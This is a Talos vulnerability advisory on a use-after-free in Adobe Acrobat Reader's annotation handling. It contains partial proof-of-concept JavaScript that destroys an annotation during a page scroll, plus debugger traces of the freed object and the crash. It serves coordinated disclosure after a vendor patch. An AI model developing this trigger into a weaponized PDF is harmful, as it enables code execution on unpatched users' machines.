Talos Vulnerability Report

TALOS-2025-2170

Adobe Acrobat Reader Annotation Destroy Use-After-Free Vulnerability

June 11, 2025
CVE Number

CVE-2025-43576

SUMMARY

A use-after-free vulnerability exists in the annotation object processing functionality of Adobe Acrobat Reader 2025.001.20435. A specially crafted Javascript code inside a malicious PDF document can trigger reuse of a previously freed object, which can lead to memory corruption and could result in arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Adobe Acrobat Reader 2025.001.20435

PRODUCT URLS

Acrobat Reader - https://acrobat.adobe.com/us/en/acrobat/pdf-reader.html

CVSSv3 SCORE

8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

DETAILS

Adobe Acrobat Reader is one of the most popular and feature-rich PDF readers on the market. It has a large user base and is usually a default PDF reader on systems. It also integrates into web browsers as a plugin for rendering PDFs.

Adobe’s PDF Reader supports different types of annotation objects. Each annotation object includes a page property that specifies the page number where the annotation is located. There exists a use-after-free vulnerability in the way Adobe Acrobat Reader handles an annotation object. This can be illustrated by the following proof-of-concept code:

function main() { 

    app.activeDocs[0].zoomType = zoomtype.fitW; 
    app.activeDocs[0].scroll(0, 1);  
    app.activeDocs[0].layout = "TwoColumnLeft";
    app.activeDocs[0].submitForm({cURL:'a', bAnnotations:true}); 

}

[..]

function destroy() {

    app.activeDocs[0].getAnnots()[1].destroy();
}

The proof-of-concept (PoC) PDF file contains a StrikeOut annotation object. The destroy() function is triggered when the page is scrolled. This function accesses and destroys the annotation object, resulting in the freeing of numerous objects. The use-after-free vulnerability occurs when the freed annotation object is accessed without proper validation. This issue can be observed in the debugger with PageHeap enabled.

0:000> p
eax=00000000 ebx=89a9cfe8 ecx=742163d0 edx=00010000 esi=679f4d80 edi=00000000
eip=7356fc3e esp=04f4d450 ebp=04f4d4b4 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200286
Annots!PlugInMain+0xc2a1e:
7356fc3e 8945d4          mov     dword ptr [ebp-2Ch],eax ss:002b:04f4d488=04f4d4d8
0:000> p
eax=00000000 ebx=89a9cfe8 ecx=742163d0 edx=00010000 esi=679f4d80 edi=00000000
eip=7356fc41 esp=04f4d450 ebp=04f4d4b4 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200286
Annots!PlugInMain+0xc2a21:
7356fc41 8b450c          mov     eax,dword ptr [ebp+0Ch] ss:002b:04f4d4c0=00000000
0:000> p
eax=00000000 ebx=89a9cfe8 ecx=742163d0 edx=00010000 esi=679f4d80 edi=00000000
eip=7356fc44 esp=04f4d450 ebp=04f4d4b4 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200286
Annots!PlugInMain+0xc2a24:
7356fc44 897dd8          mov     dword ptr [ebp-28h],edi ss:002b:04f4d48c=00000000
0:000> p
eax=00000000 ebx=89a9cfe8 ecx=742163d0 edx=00010000 esi=679f4d80 edi=00000000
eip=7356fc47 esp=04f4d450 ebp=04f4d4b4 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200286
Annots!PlugInMain+0xc2a27:
7356fc47 85c0            test    eax,eax
0:000> p
eax=00000000 ebx=89a9cfe8 ecx=742163d0 edx=00010000 esi=679f4d80 edi=00000000
eip=7356fc49 esp=04f4d450 ebp=04f4d4b4 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
Annots!PlugInMain+0xc2a29:
7356fc49 7554            jne     Annots!PlugInMain+0xc2a7f (7356fc9f)    [br=0]
0:000> p
eax=00000000 ebx=89a9cfe8 ecx=742163d0 edx=00010000 esi=679f4d80 edi=00000000
eip=7356fc4b esp=04f4d450 ebp=04f4d4b4 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
Annots!PlugInMain+0xc2a2b:
7356fc4b 6a01            push    1
[...]
0:000> pc
eax=73aa7a04 ebx=89a9cfe8 ecx=734f1140 edx=00000000 esi=734f1140 edi=25e46e98
eip=7356fc92 esp=04f4d43c ebp=04f4d4b4 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200286
Annots!PlugInMain+0xc2a72:
7356fc92 ff15b839a773    call    dword ptr [Annots!PlugInMain+0x5c6798 (73a739b8)] ds:002b:73a739b8={ntdll!LdrpValidateUserCallTarget (774d9000)}
0:000> pc
eax=0e69e228 ebx=89a9cfe8 ecx=25e46e98 edx=00000100 esi=734f1140 edi=25e46e98
eip=7356fc9a esp=04f4d43c ebp=04f4d4b4 iopl=0         nv up ei pl zr na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200247
Annots!PlugInMain+0xc2a7a:
7356fc9a ffd6            call    esi {Annots!PlugInMain+0x43f20 (734f1140)}  ;<----------- (1)
0:000> p
eax=00000000 ebx=89a9cfe8 ecx=734f11fd edx=07a00000 esi=734f1140 edi=25e46e98
eip=7356fc9c esp=04f4d450 ebp=04f4d4b4 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
Annots!PlugInMain+0xc2a7c:
7356fc9c 8b450c          mov     eax,dword ptr [ebp+0Ch] ss:002b:04f4d4c0=ab4e2ff0
0:000> p
eax=ab4e2ff0 ebx=89a9cfe8 ecx=734f11fd edx=07a00000 esi=734f1140 edi=25e46e98
eip=7356fc9f esp=04f4d450 ebp=04f4d4b4 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
Annots!PlugInMain+0xc2a7f:
7356fc9f 8b30            mov     esi,dword ptr [eax]  ds:002b:ab4e2ff0=b4f24fe8
0:000> dd eax                      
ab4e2ff0  b4f24fe8 b4f24ff4 b4f24ffc 00000000
ab4e3000  ???????? ???????? ???????? ????????

0:000> dd b4f24fe8 L 8      ;<--------------------------------------- (2)
b4f24fe8  9d222f68 6621af68 9b986f68 00000000
b4f24ff8  00000000 d0d0d0d0 ???????? ????????

0:000> dd 6621af68  ;<--------------------------------------- (3)
6621af68  73aab270 00000000 00000000 00000000
6621af78  00000000 a84daf88 00000000 00000000
6621af88  00000000 00000000 00000000 00000000
6621af98  00000000 00000000 00000000 00000000
6621afa8  00000000 00000000 00000000 00000000
6621afb8  00000000 00000000 00000000 00000000
6621afc8  00000000 00000000 00000000 00000000
6621afd8  3f800000 bc3defe0 00000000 bd7f6fc0

0:000> !ext.heap -p -a 6621af68
    address 6621af68 found in
    _DPH_HEAP_ROOT @ 7a01000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                6f072e6c:         6621af68               98 -         6621a000             2000
          ? Annots!PlugInMain+5fe050
    727ca8b0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    7752f1de ntdll!RtlDebugAllocateHeap+0x00000039
    774973b0 ntdll!RtlpAllocateHeap+0x000000f0
    7749710c ntdll!RtlpAllocateHeapInternal+0x0000104c
    774960ae ntdll!RtlAllocateHeap+0x0000003e
    75750166 ucrtbase!_malloc_base+0x00000026
    6790fd09 AcroRd32!AcroWinMainSandbox+0x000040b9
    734b2b01 Annots!PlugInMain+0x000058e1
    734b2a9d Annots!PlugInMain+0x0000587d
    734dbf94 Annots!PlugInMain+0x0002ed74
    734d51d3 Annots!PlugInMain+0x00027fb3
    734d49e2 Annots!PlugInMain+0x000277c2
    734d48ed Annots!PlugInMain+0x000276cd
    6799ba79 AcroRd32!DllCanUnloadNow+0x000517d9
    67999eb1 AcroRd32!DllCanUnloadNow+0x0004fc11
    67999b92 AcroRd32!DllCanUnloadNow+0x0004f8f2
    679168dd AcroRd32!AcroWinMainSandbox+0x0000ac8d
    76d915eb USER32!_InternalCallWinProc+0x0000002b
    76d87cda USER32!UserCallWinProcCheckWow+0x0000033a
    76d86580 USER32!DispatchMessageWorker+0x000004c0
    76d860b0 USER32!DispatchMessageW+0x00000010
    6799944a AcroRd32!DllCanUnloadNow+0x0004f1aa
    679991fe AcroRd32!DllCanUnloadNow+0x0004ef5e
    679990a4 AcroRd32!DllCanUnloadNow+0x0004ee04
    6790c39f AcroRd32!AcroWinMainSandbox+0x0000074f
    6790bddc AcroRd32!AcroWinMainSandbox+0x0000018c
    00c2a615 AcroRd32_exe!CreateCoreWebview2EnvironmentSandbox+0x00113c55
    00ca3c5a AcroRd32_exe!AcroRd32IsBrokerProcess+0x0001bc7a
    76b7fcc9 KERNEL32!BaseThreadInitThunk+0x00000019
    774b82ae ntdll!__RtlUserThreadStart+0x0000002f
    774b827e ntdll!_RtlUserThreadStart+0x0000001b

The method called at (1) retrieves the annotation vector object. The number of annotation objects present in the PDF file can be observed at (2). When the destroy function is called, the second annotation object will be freed, and its value is examined at (3).

When destroy() is called, and the following code is executed:

0:000> p
eax=00000000 ebx=6621af68 ecx=b7f4494f edx=07a00000 esi=6621af68 edi=67a241a0
eip=735450fc esp=04f4bf28 ebp=04f4bf2c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
Annots!PlugInMain+0x97edc:
735450fc f6450804        test    byte ptr [ebp+8],4         ss:002b:04f4bf34=01
0:000> p
eax=00000000 ebx=6621af68 ecx=b7f4494f edx=07a00000 esi=6621af68 edi=67a241a0
eip=73545100 esp=04f4bf28 ebp=04f4bf2c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
Annots!PlugInMain+0x97ee0:
73545100 7508            jne     Annots!PlugInMain+0x97eea (7354510a)    [br=0]
0:000> p
eax=00000000 ebx=6621af68 ecx=b7f4494f edx=07a00000 esi=6621af68 edi=67a241a0
eip=73545102 esp=04f4bf28 ebp=04f4bf2c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
Annots!PlugInMain+0x97ee2:
73545102 56              push    esi                   ;<--------------------------------------- (4)
0:000> p
eax=00000000 ebx=6621af68 ecx=b7f4494f edx=07a00000 esi=6621af68 edi=67a241a0
eip=73545103 esp=04f4bf24 ebp=04f4bf2c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
Annots!PlugInMain+0x97ee3:
73545103 e82e54f9ff      call    Annots!PlugInMain+0x2d316 (734da536)  ;<--------------------------------------- (5)
0:000> dd esi   ;<--------------------------------------- (6)
6621af68  73aab270 00000000 02000000 00000000
6621af78  00000000 a84daf88 00000000 00000000
6621af88  00000000 00000000 00000000 aa2beff0
6621af98  00000000 00000000 00000000 00000000
6621afa8  00000000 00000000 00000000 00000000
6621afb8  00000000 00000000 00000000 00000000
6621afc8  00000000 00000000 00000000 00000000
6621afd8  3f800000 bc3defe0 00000000 00000000
0:000> p
eax=00000001 ebx=6621af68 ecx=b7f44973 edx=07a00000 esi=6621af68 edi=67a241a0
eip=73545108 esp=04f4bf24 ebp=04f4bf2c iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200206
Annots!PlugInMain+0x97ee8:
73545108 eb0c            jmp     Annots!PlugInMain+0x97ef6 (73545116)
0:000> dd esi   ;<--------------------------------------- (7)
6621af68  ???????? ???????? ???????? ????????
6621af78  ???????? ???????? ???????? ????????
6621af88  ???????? ???????? ???????? ????????
6621af98  ???????? ???????? ???????? ????????
6621afa8  ???????? ???????? ???????? ????????
6621afb8  ???????? ???????? ???????? ????????
6621afc8  ???????? ???????? ???????? ????????
6621afd8  ???????? ???????? ???????? ????????

At (4), the esi register contains the vulnerable annotation buffer. The method called at (5) eventually invokes free, using the argument sourced from the esi register at (4). The value of the vulnerable buffer is examined at (6), and (7) displays its value before and after the free function is called. Subsequently, the vulnerable freed buffer is used without validation, which can be observed in a debugger at the time of the crash.

0:000> g
(2624.2878): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=6621af68 ebx=89a9cfe8 ecx=00000002 edx=c0050001 esi=b4f24fec edi=0000002a
eip=7356fd7d esp=04f4d450 ebp=04f4d4b4 iopl=0         nv up ei ng nz na po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210283
Annots!PlugInMain+0xc2b5d:
7356fd7d 8b00            mov     eax,dword ptr [eax]  ds:002b:6621af68=????????
0:000> dd 6621af68
6621af68  ???????? ???????? ???????? ????????
6621af78  ???????? ???????? ???????? ????????
6621af88  ???????? ???????? ???????? ????????
6621af98  ???????? ???????? ???????? ????????
6621afa8  ???????? ???????? ???????? ????????
6621afb8  ???????? ???????? ???????? ????????
6621afc8  ???????? ???????? ???????? ????????
6621afd8  ???????? ???????? ???????? ????????
0:000> u
Annots!PlugInMain+0xc2b5d:
7356fd7d 8b00            mov     eax,dword ptr [eax]
7356fd7f 8b7818          mov     edi,dword ptr [eax+18h]
7356fd82 8bcf            mov     ecx,edi
7356fd84 ff15b839a773    call    dword ptr [Annots!PlugInMain+0x5c6798 (73a739b8)]
7356fd8a 8b4dcc          mov     ecx,dword ptr [ebp-34h]
7356fd8d ffd7            call    edi
7356fd8f 8bd0            mov     edx,eax
7356fd91 8955e0          mov     dword ptr [ebp-20h],edx
0:000> kb
 # ChildEBP RetAddr      Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00 04f4d4b4 73574f1d     943bab58 ab4e2ff0 00000000 Annots!PlugInMain+0xc2b5d
01 04f4d4e0 737c9b76     943bab58 00000000 00000000 Annots!PlugInMain+0xc7cfd
02 04f4d550 c077768a     04f4d5c0 00000000 8af66fc9 Annots!PlugInMain+0x31c956
03 04f4d590 c0777532     89a9cfe8 04f4d5c0 04f4df58 AcroForm!SubstitutionLogBackwardIterator::GetTarget+0x20a0a
04 04f4d5a0 c094c56e     0000000a 04f4d5c0 8af66501 AcroForm!SubstitutionLogBackwardIterator::GetTarget+0x208b2
05 04f4df58 c0867f37     00000988 04f4e408 c0867f37 AcroForm!IWRFontInfo::HasGlyphlets+0x873ee
06 04f4e400 b3ca1cfa     c08664f0 b3ca1cfa a18a6fb8 AcroForm!IWRFontAccess::WRGetGlyphNames+0x20037
07 04f4e558 b3b80ddb     c3078000 00000001 c31a90c0 EScript!PlugInMain+0x176fa
08 00000000 00000000     00000000 00000000 00000000 EScript!mozilla::HashBytes+0x340cb

In the above debugger output, the crash occurs when eax is dereferenced, as if it were an object pointer. Depending on the memory layout of the process, it may be possible to abuse this vulnerability for arbitrary read and write access, which could ultimately be abused to achieve arbitrary code execution.

TIMELINE

2025-04-07 - Vendor Disclosure
2025-06-10 - Vendor Patch Release
2025-06-11 - Public Release

Credit

Discovered by KPC of Cisco Talos.